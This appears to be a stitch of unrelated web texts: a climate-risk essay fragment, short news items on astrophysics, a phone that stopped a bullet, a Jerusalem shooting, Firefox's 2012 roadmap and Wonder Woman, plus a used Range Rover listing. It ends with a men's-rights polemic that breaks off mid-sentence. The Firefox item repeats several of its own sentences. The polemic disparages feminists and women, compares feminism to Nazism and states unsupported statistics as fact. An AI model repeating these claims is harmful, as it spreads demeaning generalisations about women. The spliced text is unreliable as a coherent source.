of evidence to satisfy authorities that the vaccine is safe.  In the assessment of carbon pollution, we have this the wrong way around. Small uncertainties in the conventional science are used to reinforce the notion that doubling atmospheric carbon dioxide is entirely safe. Most importantly, and somewhat amazingly when you stop to think about it, major polluters and proponents of continued carbon pollution have never proved that their product is safe. Not only that, they haven’t even been asked, by governments and the public alike, to prove that their product is safe.  This means that, to date, we have no studies demonstrating that the climate system is insensitive to such increases in carbon dioxide, and a mountain of evidence indicating that doubling atmospheric carbon dioxide will result in dramatic climate change. Yet still, we refuse to really accept the risks. One of the biggest reasons for this is that the skeptics have been successful in limiting public discussion to 20th century global mean temperature. In reality, the case against doubling atmospheric carbon dioxide is well established before we look at the 20th century climate record.  One of the most certain things in climate science is that increasing carbon dioxide warms the climate system. Doubling atmospheric concentrations is sure to cause significant warming of the climate system. And doubling a over a 200 year period represents one of the most rapid changes in atmospheric carbon dioxide in the history of the Earth.  The certainty that carbon dioxide warms the climate system does not rely on any 20th century climate observations, such as employed in fingerprinting studies. These studies seek to determine how much the 40% increase in carbon dioxide over the 20th century has already affected the climate. Rather, the evidence against increasing carbon dioxide is much more fundamental.  The first place to look is of course the paleoclimate record. Over the last several decades of research, the sensitivity of the climate system to changes in carbon dioxide has been established through ice core samples and other proxy climate indicators. In short, past climates with high atmospheric carbon dioxide concentrations were very warm, unless incoming solar radiation was low. Rapid changes in carbon dioxide (such as due to planetary volcanic activity or asteroid strikes) resulted in rapid changes in the climate system. The literature on this topic remains unchallenged; in the Earth’s geological history, if carbon dioxide concentrations increased, the planet warmed.  The second and more important place to look is the fundamental physics and chemistry- using mathematical modelling. Models used in climate come in different shapes and sizes. Some of the most basic models, such as the behaviour of gases exposed to radiation of different wavelengths, are well established physical models.  Far from being controversial, numerical models are used in all modern fields of science. Mathematical models are implicit in our understanding of the universe. For example, the governing equation for the gravitational effect is also 'just a model'. In fact, it’s the very definition of a model, since we do not actually understand how gravity works. However our mathematical model of the nature of gravity has been verified through countless observations. We are quite certain that our mathematical model of gravity accurately describes the Newtonian universe. These principles are not negotiable like the tenets of social sciences or economics. They are fundamental laws. The universe doesn't fudge fundamental laws of scale.  Similarly, the mathematical model of the organisation of an atom; neutrons, protons, electrons, is just a model. We cannot actually look inside an atom. But the model has been verified and it holds as a fundamental certainty.  The mathematical model of how atoms absorb and re-emit radiation in discrete energy packets and in discrete wavelengths is also a model. It also faithfully describes the universe. A whole heap of technology is built on the certainty of this model. If these models did not work, then most of the appliances in your house would also not work, including the microwave oven and the television.  Therefore we can faithfully model how radiation passing through layers of radiative gas will be absorbed and re-emitted. There is nothing speculative about this either. This is fundamental physics and chemistry, text book material rather than brand new science.  (Image created by Robert A. Rohde / Global Warming Art)  If anyone seriously thinks that our understanding of radiation is wrong, then could they please publish that alternative theory in a proper scientific journal so we can all absorb a new reality? You will need to overturn more than 100 years of physics in the process. You will also likely win a Nobel Prize for your efforts. The incentive is there.  You see, you can't just say you don't agree with the fundamental laws of physics, or that you are not convinced by them, and leave it at that. At least, not if you want to be taken seriously in the scientific community (as opposed to simply confusing the public with red herrings). As an aside, I suspect that being taken seriously by the science community has never been a key priority for the skeptics. By publishing almost exclusively on blogs and in the opinion sections of newspapers, and eschewing peer-reviewed scientific journals, they have staked out their real audience. Contributing to science has nothing to do with it.  Now where were we? Oh yes, we understand entirely how radiative gases like carbon dioxide absorb and re-emit radiation from physics, quantum physics and chemistry. We also understand the physics of radiation (for example the Stephan Boltzmann relationship). We understand entirely that if you increase the concentrations of carbon dioxide in the atmosphere, you will warm the surface of the planet. This result is repeatable (you get the same answer) using a simple model of radiation physics alone (just a couple of lines of code) or using a fully coupled atmosphere-ocean-sea-ice model with turbulent mixing. People have been trying to break this result for fifty years and have not. That’s how science works.  The sensitivity of the atmosphere to greenhouse gases can also be observed on nearby planets (Mars and Venus) and is consistent with the maths. The maths is also supported by the observed feedback mechanism between temperature and carbon dioxide in the ice-core record and other paleo indicators. If you double or even triple atmospheric carbon dioxide, which we will do sometime this century or early next, you will significantly warm the climate system. This is well above a 95% probability, and is hence a near certainty. No one has disproved any of this in the literature. No drug would make it onto the market with that kind of evidence running against it.  The climate system is complex, so the fundamental physics operates over many interacting variables. As such, many things can act to slow down the rate of warming or amplify it, such as the warming-water vapour feedback mechanism. But the system is not that complex, and is certainly far less complex than the human body. And the complexity of the system cannot change the radiative properties of carbon dioxide. Hence, over time, and given the rate of carbon dioxide increases that are proposed, warming will be set in train and is assured from the fundamental physics. Hence we are certain from all the science that the mean trajectory we are now on is a warming trajectory. Small uncertainties in the rate of future warming are irrelevant to the risk assessment. That’s like pinning the risk assessment associated with childhood exposure to UV radiation to uncertainty in the exact age that skin cancer is most likely to occur.  The climate of the deep past has shown that we are nowhere near the natural limits of warming for planet Earth. In other words, the current state of the climate has more things that can amplify warming than it does things that will keep a lid on the warming. There are mechanisms that limit warming, but we have plenty of room to warm given that the level of pre-industrial carbon dioxide was very low in relation to extremely warm climates in the distant past. This level of warming is more than enough to elevate sea level and change the predominant patterns of global climate. The uncertainties in the context of the enhanced greenhouse effect are actually more worrying than they are reassuring. This is a concept that the public does not understand very well.  Guess what? I haven’t even talked about a 20th century thermometer reading, and we already have heaps of evidence against the safety of rapidly doubling atmospheric carbon dioxide. The matching greenhouse fingerprints in the 20th century climate record are really the final nail of evidence. If there is some study that contradicts the fundamental science, then where is it? No one has managed to find an alternative solution after decades of trying. While the skeptics will throw up the occasional vaguely set-out paper from fringe (and mostly non peer-reviewed) journals, they can not produce a set of key papers which demonstrate that doubling atmospheric chemistry has no significant effect on the climate system. And that is what they wish to prove is it not? It is certainly what they should be required to do.  So people should ask the skeptics their own set of questions. Why have they never produced a repeatable formulation of the physics as they see it? Why have they never developed their own climate models, and performed their own model experiments? Why have they never produced their own paleoclimate reconstructions? Why have they never compiled their own record of surface temperature? Apparently, the lack of published research showing the inert nature of atmospheric carbon dioxide changes is the result of a long running, worldwide scientific conspiracy.  But that too doesn't stand up. With all the money supposedly at stake, the complete lack of credible research by the skeptics points to a complete inability to successfully argue their case in scientific circles. If destroying the conventional science was as easy as they suggest, the major polluters would have funded such research twenty years ago, and moved on. Again, the incentive is there, and large companies are more than capable of funding and producing credible research. But, importantly, they have not attempted to do so.
-A SUMMER internship to learn more about astrophysics turned into a stunning coup for Monash undergraduate Amelia Fraser-McKelvie when she helped solve one of the big mysteries of science.  Astrophysicists have long been baffled by a belief that the universe must have a greater mass than is visible in the planets, dust and stars that make up much of what can be seen. But they had no way of proving it. They estimated that about half the mass required to keep the universe functioning as it does was ''missing''.  Looking to the heavens: undergraduate Amelia Fraser-McKelvie. Credit:Wayne Taylor  Ms Fraser-McKelvie found some, and her discovery will aid the development of telescopes in Australia.  The 22-year-old aerospace engineering student, who works with Monash astrophysicists Kevin Pimbblet and Jasmina Lazendic-Galloway, explained.
-The hero phone. (Apple Daily)  You know what they say: Never bring a sickle to a gunfight. But if you do make sure you have an enormous phone in your front pocket.  Let us explain.  The phone’s owner and another man began arguing in a restaurant and stepped outside to fight, Apple Daily reported (via Shanghaiist). Armed with only a sickle (yes, a sickle), the victim proved no match for his gun-wielding aggressor and was promptly shot down.  The fallen man was carted to the hospital by friends. Medical staff and police discovered that because the shooter was using a “modified” and less powerful gun, and because the bullet first hit the victim’s shielding hand, the sturdy Samsung Galaxy Mega phablet — which is Samsung’s largest phone, featuring a 6.3-inch screen —in his chest pocket had stopped the bullet cold.  Not a bad feature, Samsung: life-saving phone, no third-party app necessary. Maybe they should have called it the Samsung Galaxy Shield.  iPhone fans, however, might say that this is yet another copycat job by the makers of the Galaxy line.  For example: In 2012, a man in the Netherlands told De Telegraaf (via Tuaw) that he was spared a bullet to the heart while driving thanks to the chest-pocket placement of his iPhone. Of course, full credit couldn’t be given to the phone in this instance, either, since the bullet broke through the man’s windshield first.  Even Windows Phone and BlackBerry, the little brothers of the smartphone field, have had their heroic moments. A Nokia Lumia 520 this year saved a Brazilian military soldier from being shot in the rear, and a BlackBerry Curve in 2010 blocked an accidental shot from injuring a woman in Ohio.  All of this goes to show that it doesn’t matter how out of date or uncool your phone or your weapon (a sickle? really??) might be: Bringing it along to a gunfight is never going to be a bad idea.  Also not a bad idea: Avoid all gunfights. Peace.  Have questions, comments, or just want to tell me something funny? Email me at danbean@yahoo-inc.com.
-This 1994 Range Rover County LWB is a well-maintained example with 55k kilometers (~34k miles) that is powered by a 4.2 liter Rover V8. The truck was sold new at Lone Star Mercedes-Benz Range Rover in Calgary, Alberta, and has been registered in Vancouver, British Columbia since 1995. The seller is the third owner and purchased the truck four months ago. He replaced the headliner, tires, and a few minor worn items, and enjoyed a 750 mile road trip through British Columbia over Labor Day weekend with no issues. Cosmetics are in good order with the paint and interior looking well-preserved, and the truck features numerous factory options like brush guards and running boards. The Rover has no modifications from stock, and the A/C system and air suspension are fully functional. The seller describes the truck as running well, but has decided to sell since he rarely drives it and is limited on space. The sale includes service records from previous owners, receipts from work done by the seller, clean Carfax and Carproof reports, and a clean British Columbia title.  The Cornish Cream paint appears glossy with no noticeable scratches or blemishes, and the truck received a nearly $1k detailing on November 3rd. There is no history of any accidents on the Carfax, though the seller reports that a small dent was recently removed. Records also show a $478 vandalism claim in November, 1996 and a $454 comprehensive claim in June, 1997. The aluminum body panels are straight, and the steel bonnet and tailgate show no signs of corrosion.  This truck was equipped with several factory options including:  Wraparound brush bar with lamp guards ($1,116)  Rear lamp guards ($456)  Fog lamp covers ($114)  Running boards ($1,058)  Loadspace protector ($384)  Rubber floormat set ($279)  Trailer hitch kit ($254)  The County LWB variant increased the wheelbase of the Range Rover to 108 inches long, which offered more legroom for rear passengers and a larger cargo area. The seller notes that the air suspension works as it should, and the front shocks were replaced at 24k miles by the previous owner. The stock 16″ wheels are in good condition and wear new Yokohama Geolandar tires that were installed on August, 25th (including spare). Exterior rubber is in good condition with no major UV damage, and all of the lights are working correctly.  The interior looks sharp with Light Stone Connolly leather upholstery and burled walnut trim. This was the last year of the classic dash for the Range Rover, with the 1995 model using a dash lifted from the Discovery.  The leather on the seats shows little wear with no cracks, creases, tears, or damage to the piping. The seller added a new headliner after purchase, and the carpets and floormats appear clean with no wrinkles.  Interior plastics have held up well, and there are no cracks on the dash. All of the gauges, lights, power accessories, sunroof, A/C system, and cruise control are said to function properly. The clock is currently not working and the seller notes that the original radio occasionally cuts out.  The 4.2 liter Rover V8 sits in a tidy engine compartment and features Lucas 14CUX electronic fuel injection. The permanent four-wheel drive truck utilizes a 4-speed ZF automatic transmission coupled to an LT230 transfer box. The engine looks clean with organized wiring, and was advertised at producing 202 horsepower and 251 lb.ft. of torque when new.  The thermostat was replaced by the previous owner less than 10k miles ago, and the seller recently replaced the radiator hose, water pump pulleys, trackrod end links, and the daytime running lights relay. The motor runs strong and provides even power through all gears, and the truck is said to offer a smooth ride with no abnormal sounds.  All of the original owner’s manuals are included, as well as a working fob, three keys, and the original off-roading instructions VHS tape. The original service booklet includes dealer stamped scheduled maintenance, service records from the previous owner, and receipts from the seller for the tires, headliner, and detail also come with the truck.
-JERUSALEM — In an extraordinarily brazen assault early Friday, three Arab citizens of Israel armed with guns and knives killed two Israeli police officers guarding an entrance to Jerusalem’s holiest site for Jews and Muslims, an emotional and volatile focal point of the Israeli-Arab conflict.  Security camera footage showed the armed assailants emerging to attack from within the sacred compound in the Old City of Jerusalem that Jews revere as the Temple Mount and Muslims as the Noble Sanctuary. Police officers pursued the assailants, who fled back inside the compound and exchanged fire; all three assailants were killed.  The police identified the slain officers as Advanced Staff Sgt. Maj. Hayil Satawi, 30, who was married with a 3-week-old son; and Advanced Staff Sgt. Maj. Kamil Shnaan, 22, the son of a former parliamentarian. Both officers were members of the country’s small Druze community and came from towns in northern Israel.  Shin Bet, the Israeli internal security service, identified the assailants as residents of Umm el-Fahm, a large Arab town in central Israel, near the border with the West Bank: Muhammad Ahmed Jabarin, 29; Muhammad Hamid Jabarin, 19; and Muhammad Ahmed Mufdal Jabarin, 19. It was not immediately known if the three were related, but their names indicated that they belonged to the same large clan.
-According to the Firefox 2012 roadmap, Mozilla plans to introduce some major changes and new features this year, including a new default theme called Australis:  Firefox - default GNOME 3 theme  Firefox - Ubuntu (Ambiance theme)  Firefox - OSX  Firefox - Windows 7  As you can see in the images above, Firefox will use Chrome-like curved tabs on all platforms, the bookmarks star will be separated from the locationBar and merged with the bookmarks menu and apparently, the menu will be moved next to the locationBar. Further more, a new built-in download panel should finally replace the separate Firefox download window. There's already a Unfortunately, there are still no plans to support tabs in the titlebar for Linux (because of GTK limitations), but most other UI changes should be available for Linux too.As you can see in the images above, Firefox will use Chrome-like curved tabs on all platforms, the bookmarks star will be separated from the locationBar and merged with the bookmarks menu and apparently, the menu will be moved next to the locationBar. Further more, a new built-in download panel should finally replace the separate Firefox download window. There's already a custom Firefox build that comes with an initial version of the new download panel:  If you want to try the new theme, there's an unofficial Australis theme HERE (but it needs some work, at least under Linux). (but it needs some work, at least under Linux).  Besides the changes mentioned above, there are many other new features that should land in Firefox this year:  a new tab page (an initial version is already available in the latest Firefox Aurora builds - screenshot above) powered by the Awesomebar, with a new "speed dial" and new home tab which lets you access the Firefox preferences, etc.  Chrome migration  Web Apps (-webapp mode) and WebApps Marketplace integration  reworked session restore and a new Firefox restore which lets you restore bookmarks, passwords, etc.  Firefox Share: share links / update status across social networks  Firefox Login: user-centric site logins - one login for all the websites you us  in-line Preferences Manager  seamless plug-in install and update experience  built-in PDF viewer  more!  For more info, visit the Firefox roadmap page.
-​No matter how many superhero comics you read, there's one thing we all take for granted: Superheroes wear costumes. Superman has his blue leotard and (sometimes) red underwear, Batman has his cowl, every superhero has something. It's what separates the superhero from the alter ego. It's what keeps people from figuring out that Clark Kent isn't the awkward, clumsy Kansas boy he appears to be.  Now, DC revealed one of their superheroes isn't wearing a costume, ​Comic Book reports.  In "Justice League #35," Wonder Woman revealed to the world what she wears isn't a costume, uniform or super suit. It's a religious garment.  After the previous issue saw a nun killed by a terrorist wielding Wonder Woman's sword, Diana is called in for questioning. The interrogating officer refers to Wonder Woman's iconic outfit as a costume. She cuts him off to correct him.  (Photo: DC Entertainment)  "It's a habit," she says. "A religious garment. I do not wear a costume." The officer also calls her Diana Prince, and she corrects him once again. Her name is " Diana of Themyscira. Daughter of Hippolyta."
-The Campaign to Diminish Men’s Social Status to Slave Class in Western Culture  Author’s note: This is not intended to be an attack on women. I am friendly with women, some of whom consider themselves feminists. This is an analysis of what I and others have identified as a disturbing trend throughout society. As a career artist, teacher, and divorced father, I have always shunned New Age jargon, paranoid conspiracy theories, or any cultish group mentality. I had very little awareness of or regard for the organized Men’s Rights Movement before writing my first draft of this essay in virtual isolation. My assumption was a common one that men’s groups were comprised of a few ragtag misfits who got together in the woods to bang bongos, whine about their lives, and atone for the perceived sins of their fathers.  Since then however, I have found an impressive collection of intelligent work by some very well-informed and accomplished authors who write with great clarity and objectivity about these disturbingly overlooked men’s issues. I was pleasantly surprised to discover that I was not the only man (and even a few remarkable women) to draw similar conclusions about the organized campaign to denigrate and subjugate men in Western culture. In this piece, I touch on many facets of the subject that will be well-known to readers who are already familiar with the MRM. However, I probe a little deeper than merely identifying the symptoms into some informed speculation about the sinister origins and ultimate goals of this insidious trend.  –Gabriel Raphael, 2012  * * * * *  It’s A Man’s World?  All women’s issues are to some degree men’s issues and all men’s issues are to some degree women’s issues because when either sex wins unilaterally both sexes lose. –Warren Farrell  We have lived for so long with the cliché that it is a man’s world that we rarely question what it means. So I’m asking. Does it mean that a disproportionate majority of men enjoy freedoms, advantages and benefits that women are denied? If that’s what it means, then it is one of many absurd fallacies regarding men’s and women’s status in this day and age here in the Western world. It has been anything but a man’s world for most of my lifetime since the late 1960s and I know for most men of my generation here in America, whether or not they have the awareness or nerve to admit it. Like a hapless frog boiling to death in a slowly heated pot of water, we never saw it coming. The apparatus of feminism has seen to that. In the politically-correct-osphere, it has become taboo for anyone, male or female to even question the motives, tactics, or ultimate consequences of the feminist agenda. However, as a man to whom it would never occur to question the notion that the sexes deserve equal rights, I definitely do question the feminist agenda. In my lifetime of experience, I must objectively conclude that true gender equality and the goals of feminism as it is practiced are anything but synonymous.  My beautiful daughter attends a successfully integrated public school where we live in Northern California. She has never witnessed racial discrimination but is taught about it in school, especially around the time of MLK day. When she was only about eight, I asked her if she understood what it was all about. She innocently replied, “Yeah but it isn’t like that anymore, so why do they still have to make such a big deal about it?” Hesitantly, I answered her that some people think that it’s the only way to prevent it from happening again. And yet while offering this explanation, I had misgivings about how it felt disingenuous. Even though it was the stock answer, didn’t really make much sense to me or to my daughter. Contrary to its intended purpose of being preventative, it instead seemed more likely to perpetuate the resentment. They are teaching children about a time of hate to whom it would never otherwise occur. I’m not suggesting that we should deny historic facts either, but such sensitive subjects must be kept in proper perspective. I mention this as a parallel to what I now see happening in the so-called battle of the sexes.  With the same paradoxical logic that would put the American Cancer Society out of business if a cure for cancer were found, I submit that the apparatus of feminism actually reinforces and depends on the fallacy that it’s a man’s world in ways that actually diminish the dignity of both sexes. In science, including social science, any good theory or procedure must withstand the test of objective scrutiny. So let’s put feminism to the test. In this case, as simple thought experiment. Like most men of my generation, I can’t even imagine having the motive or power to oppress women. It is an empty accusation. And yet feminism depends on that premise. Therefore, I must conclude that feminism fails the credibility test— catastrophically. Why? Not because men are threatened by the idea of gender equality or “strong” women, a familiar accusation so often claimed by feminists. We’re not. Really. Yet most men become baffled by this accusation just long enough to lose their focus. That is a typical ad hominem logical fallacy that effectively obfuscates the real problems and usually derails any meaningful conversation before it begins.  Feminism Knows Best  It would be futile to attempt to fit women into a masculine pattern of attitudes, skills and abilities and disastrous to force them to suppress their specifically female characteristics and abilities by keeping up the pretense that there are no differences between the sexes. –Arianna Huffington  Another reason that feminism fails is because it has rampaged far beyond its alleged goal of gender equality and spawned some other very hostile and inequitable conditions for men, women and children. It has elevated women not to equal status but to special status, while promoting a universal perception of men as clueless buffoons or violent criminals by a grossly disproportionate measure. Hand in hand with the self-righteousness of “therapy culture”, feminism has diminished the quality of life for everyone by destroying the values that once sustained the stability and bonds of the American family. This is no accident or side effect, nor is it good for anyone including women. It can’t be denied that this brazenly indefensible objective is at the core of feminism’s purported nobler goals of equality. Yet radical feminists will still try to defend it with the absurdly paranoid assertion that the traditional family is nothing more than a male invention designed to oppress women. This theory is even hostile to women who find fulfillment as wives and mothers as being naively brainwashed by a tyrannical patriarchy.  If a tenet of feminism is that women have choices, then this is yet another example of hypocrisy and cognitive dissonance. What feminists are really saying is that women are free to do whatever feminism says they should do because feminism presumes to speak for all women and that it knows what’s best for them; better than they even know for themselves. Amazingly, too many Americans have already accepted such rhetoric and readily ignore the fact that the family unit is our greatest asset and source of strength as individuals and as free citizens. Without the support and strength of the intact family, we are weakened and reduced to proletariats of the state. This, I believe is no mere coincidence. Women— the so-called nurturers and caregivers have been the unwitting foot soldiers this destructive campaign; and men— the proverbial protectors and providers have passively stood by and allowed it to happen. We are all equally accountable for allowing our natural instincts as protectors and nurturers to be so easily perverted.  What began as a seemingly honorable movement to insure legal, financial, and social equality between men and women when war widows were left with no means of support, has now degenerated into a grotesque caricature that backfires far more than it accomplishes any true gains toward its presumably virtuous purpose, or as other authors have identified it: feminism’s “cover story.” A minority of angry, vocal women have hijacked and franchised the feminist movement into a disturbingly destructive force while sheltered under its original banner of righteousness. Yet we dare not question their rhetoric lest we are branded as hostile to their seemingly noble cause, so most men comply or assume the obsequious role of championing the feminist cause.  Even if some women really do have legitimate personal grievances with specific men, I would point out that these exceptions to the rule are personal and unique; and not justification for a universally hostile social trend. Thousands of people are killed in car accidents every year but we don’t outlaw cars. I love dogs even though I’ve been bitten once or twice in my life. In fact, I love women despite all of their shortcomings and ways that I have witness few of them have behave with depravity or unjustifiably extreme cruelty toward me and other men. Most young women are now systematically taught that there is a sinister conspiracy among all men against all women with nothing more than a tiny percentage of isolated transgressions to justify this claim. This is mobilizing a political agenda through fear and loathing of the proverbial boogeyman which most women have never personally experienced.  And yet despite the finger pointing, the vast majority of actual men have been anything but unsympathetic. On the contrary. Millions of men just like me have done as much or more to support and abide by the demands of feminism as the women that it is supposed to benefit. In an effort to be deemed as “acceptable” by the feminist sensibility, a whole generation of men spend most of their lives bending over backwards to suppress their better judgment and male instincts while apologizing for simply being male (which ironically further incurs women’s contempt.) It begins and ends with this militant faction and their unrelentingly vitriolic characterization of men as their oppressors or abusers. It may seem counterintuitive, but the explanation is that like so many human institutions, feminism would have no cohesion without a scapegoat. I will therefore submit that feminism’s raison d’être is a phantom— but that its effects are dreadfully tangible.  A few so-called “moderate” feminists may attempt to distance themselves from these radical extremists, but their voices are drowned out by all the noise. And even they can’t evade the truth that feminism even exists at all because of a contrived fallacy that a hegemony of men opposes their freedom. Here in America in the 21st century… really? By that definition, any feminism is akin to radical fundamentalism. Eliminate that unjustified core theory and feminism has no unifying meaning or purpose. For a little perspective, all we need to do is look at some Arab and African countries to see what it really looks like for women to be oppressed by men. Despite enjoying advantages and freedoms above almost any other class of people in the world, American women, like spoiled children, aren’t embarrassed to keep right on complaining. Yet perhaps they should complain— not for anything that they have been denied, but for the tragic consequences of what they themselves have wrought: the unmitigated betrayal of their men, their children, and ultimately, themselves.  Plunder and Slander  I remember Nazi election propaganda posters showing a hateful Jewish face with crooked nose. –Jack Steinberger  All of this may come as no surprise. Any social trend that gains enough momentum will always attract a few fanatic extremists who undermine its true spirit. They are to feminism what suicide bombers are to Islam. These “squeaky wheels” always opt for a rage-fueled tirade over logic against their manufactured adversary. Such fanatic hyperbole inevitably becomes the manifesto for the whole movement. Declare war and then justify it by accusing the identified enemy of initiating aggression for displaying the slightest hint of defense at the attack. Assassinate character instead of seeking accord. Rather than graciously recognizing the willingness of the other party to be reasonable, they default to the most adversarial position possible and employ the same strategy as price bantering in a Cairo street market: aggressively demand more than is reasonable, take as much as they can get, demand more still, give nothing back, and never apologize. This strategy may achieve some petty gains, but the net result is a severely diminished quality of life for all concerned from an increased atmosphere of antagonism and distrust between men and women. The strategy being, “screw him before he screws me.” It is the equivalent to the short-sighted greed of corporate raiders who plunder the assets of an old beloved company and lay off all of its loyal employees rather than reinvesting in its long term potential. A small minority benefits while most suffer. Starting to sound familiar?  Radio pundit bullies like Rush Limbaugh and Tom Leykis have been called out for making the regrettable comparison of feminism and Nazism: “Feminazis”. In so doing, they undermine their own credibility by stooping to the same low level of inflammatory name calling, and yet I believe the core point that they clumsily make is how feminists demonize men just as Nazis demonized Jews so as to justify their hostility. If so, then I’m afraid to say that even they got that part right. Of course, these are rare examples of the kind of man that feminists love to use as poster boys for what’s wrong with all men. They depend on each other to define themselves. Such polarization is inevitable. Like a law of physics, for every radical feminist, there must be an equal and opposite male “pig” to serve as a yardstick by which they measure their own limits. If the moniker “feminazis” is going too far, then it may not be going too far to compare feminism to McCarthyism. At least McCarthy didn’t massacre millions of people that he falsely accused of communism, but the similarity is that he did foster an unnecessarily antagonistic atmosphere for a period of this country’s history based more on a personal paranoia than on any legitimate or widespread threat.  “Displacement” is a well-recognized psychological phenomenon in which the subject redirects their rage toward any convenient target while repressing awareness of the true cause. If they can justify their antagonism by indoctrinating as many others as possible, then they feel validated in their delusion.  And so, in the last 40 years, men in America and a few other Western nations in the northern latitudes have been the target of one of the most insidious slander campaigns ever waged against any minority, and it hides in plain sight. It is not just against the tiny minority of genuinely “bad guys”, but toward all men through guilt by association and the questionably paranoid logic of always erring on the side of caution. In many cases, the easiest targets—the proverbial “nice guys” are the recipients of the most egregious injustices. Why? Because they offer the least resistance. They are the weakest link.  So, if women aren’t really oppressed by men in this country, then why all the sound and fury? All we need to do is look at the effects. Skyrocketing divorce rates, children raised in broken homes and daycare, and the “ghettoization” of the middle class. Nothing is an accident. What we may dismiss as a collection of unfortunate side effects is the purpose. Who would possibly benefit from such social devastation? I’m getting to that.  Riding the Civil Rights Bandwagon  We live in a society of victimization, where people are much more comfortable being victimized than actually standing up for themselves. –Marilyn Manson  “White guilt” became part of our vernacular since the civil rights movement as whites began to have a collective awakening of conscience about the centuries of black suffering in America. Jumping on this bandwagon, comfortable, well-educated, middle and upper class women sought to extend this sentiment to include “male guilt” by comparing their situations as wives and mothers to the conditions of black oppression. And thus began their campaign to demonize men— all men, in exaggerated ways that even exceed the animosity that blacks expressed toward whites for incomparably more legitimate reasons. Thus, the “victim culture” was born and suddenly everyone had a new tool for manipulating the system to their favor. However, unlike our new found sensitivity to racism toward ethnic minorities and sexism toward women, this reactionary form of bigotry toward men is regarded with nothing more than a chuckle during any romantic comedy or primetime sitcom.  Men are the one minority that is banned by definition from playing the “victim card”. If a man complains, then he is not a real man. However, I submit that as real men, we can set a better example for improving our station than by resorting to the same crybaby strategy so overused by other groups. No more crying wolf. You can’t get respect by whining for it. Being a man is not something that requires a feminist’s permission or approval.  The implications are much farther reaching than these venues. Substitute the word “woman” or “black” or any other minority for the word “man” or “dad” in any derogatory joke commonly made at men’s expense and then see if you still think it’s funny or inconsequential: “It’s so simple, even Dad can do it.” Harmlessly funny, right? Now try: It’s so simple, even a woman can do it.” Still laughing? We usually shrug off “male bashing” as a relatively trivial footnote in daytime talk shows and women’s studies college courses. And yet, regarding the latter, the editorial board of the Canadian newspaper National Post has argued:  The radical feminism behind these courses has done untold damage to families, our court systems, labour laws, constitutional freedoms and even the ordinary relations between men and women. Women’s Studies courses have taught that all women — or nearly all — are victims and nearly all men are victimizers. Their professors have argued, with some success, that rights should be granted not to individuals alone, but to whole classes of people, too.  Justifications for Male Discrimination  The anger that appears to be building up between the sexes becomes more virulent with every day that passes. And far from women taking the blame… the fact is that men are invariably portrayed as the bad guys. Being a good man is like being a good Nazi. –Dave Thomas  The rationale goes something like this: Men have always had all of the advantages, so now it’s OK to level the playing field by denigrating any man, anywhere, anytime, in any situation. What this logic conveniently ignores is that only a tiny percentage of men at the very top of the social pyramid have these mythical advantages. The rest of us are all in the same boat. And yet the remaining ordinary, hard-working men who do dutifully work difficult or dangerous jobs that women don’t want to do in order to support their families are vilified as oppressors, predators, or as immature buffoons, making it open season on the proverbial boogeyman. In any conflict, men are almost always seen as guilty until proven innocent, while women’s virtue is always given the benefit of the doubt, even when evidence to the contrary is irrefutable. Where exactly is the oppressive patriarchal system that I have been hearing women complain about my whole life? I don’t see it. Not here in America— at least not in my lifetime. This is the classic cognitive dissonance that many men live with every day. Is it any wonder that a few snap under the stress? How much hand wringing are we doing in the hope of understanding them compared to when a woman snaps?. Men are held 100% accountable for their actions regardless of extenuating circumstances while women are infantilized, analyzed, coddled, and excused under identical circumstances. The fact that so-called “empowered” feminists insist upon this is hypocrisy in the extreme.  It has already been demonstrated that statistics regarding earning disparity are misleading due to the failure to take into account the fact that men tend to work longer hours and more days per year at many jobs that women simply don’t want to do. And yet, feminists cherry-pick the final tally of their own choices as the prime example of discrimination against them. And we’ve been buying this nonsense for a generation now.  The news media is insidiously complicit. Every leading story on the eleven o-clock news begins with some atrocity committed by a “man”, while the feel-good human interest stories refer to men merely as “personnel”, “coalminers”, “soldiers”, or any other gender-neutral euphemism.  Others have already written at length about exaggerated or fabricated statistics on atrocities like rape and DV perpetrated by men against women. In a nutshell, the fact is that violence is initiated equally by men and women and that women abuse children (including sexually) at more than twice the numbers than men. And yet, we behave as if only men are perpetrators and only women are victims. Once again, acting as if things are the way we think they should be instead of how they really are.  All of this amounts to being the ultimate straw man fallacy, and the true cause for such widespread insistence upon it goes even deeper than almost anyone really understands.  Of course, there will always be some bad eggs among any demographic group that deserve the scrutiny that they receive, but that includes both men and women. Neither gender owns the monopoly on virtue. However, for the same reason that racism is wrong, condemning an entire category of people for the shortcomings of a few is ultimately far more damaging than the behavior that it presumes to denounce.  Propaganda  This idea that males are physically aggressive and females are not has distinct drawbacks for both sexes. –Katherine Dunn  This phenomenon has its tentacles in every important aspect of modern life including education, the job market, retirement, health care, the economy, the media, journalism, literature, the arts, law enforcement, criminal courts, dating, marriage, raising children, family courts, and divorce. In all of these arenas, there is a profound pattern of discrimination against boys and men, and preferential “kid glove” treatment or portrayal of girls and women— which is only possible because of a baseless but persistent myth that the bias favors men.  We say that women can do anything men can do, but then force men to pay alimony to women in the vast majority of cases when it is awarded in a divorce. The assumption of course, being that the poor, helpless woman can’t fend for herself without a husband to support her— even if she left him. Suddenly, pride in being a strong, independent woman is conveniently set aside. In such cases, it is presumed that life with him was so unbearable that she had to “escape”, which is something that doesn’t require any proof. She is then “owed” compensation for the excruciating ordeal of having to sleep with her husband for the years that they were married as if she were a prostitute or sexual slave with no choice in the matter. If it is an insult in the extreme to call a woman a whore, then you’d think that more of them would be embarrassed to behave in a way that invites such characterization.  In any case, the man is expected to continue supporting the woman; an outdated vestige from the time when most men worked and most women stayed home to raise the children. While feminism has ravaged that traditional model, they have staunchly defended the disproportionate alimony and child support awards in family courts that originated in a time when most women didn’t work. The legalese is: “in the lifestyle to which she has become accustomed”. In higher income cases with children, outrageous amounts of child support are granted that far exceed what is required to comfortably raise a child. As “discretionary” income, the custodial parent (the mother) is free to spend this jackpot on anything she wants. This stunning hypocrisy is still boilerplate practice in divorce courts. The spectacularly insulting double standard goes unnoticed, dismissed, or rationalized as “evening the playing field”. And yet, it can be demonstrated that we have grossly overcompensated for something that was never as far out of balance as it has now become. It happened only after the natural differences in gender temperament and predisposition became falsely branded as inequality and injustice. The implications of all this are much farther reaching than a few hurt feelings.  Boys Taught Early  The differences between the sexes are the single most important fact of human society. –George Gilder  In subtle and sometimes not so subtle ways, boys are now taught from an early age that their maleness is a flaw to be suppressed or punished. Anyone who has observed young children play can easily see the obvious natural differences in the temperaments of most children of each gender. There are always some exceptions but most boys are naturally more competitive, active, and fascinated by things that can be thrown or ridden, while girls tend to more often sit quietly and “pretend” play. These are not learned behaviors— they are instinctive. However, in many experimental new educational environments, young boys are deterred from their more naturally boisterous 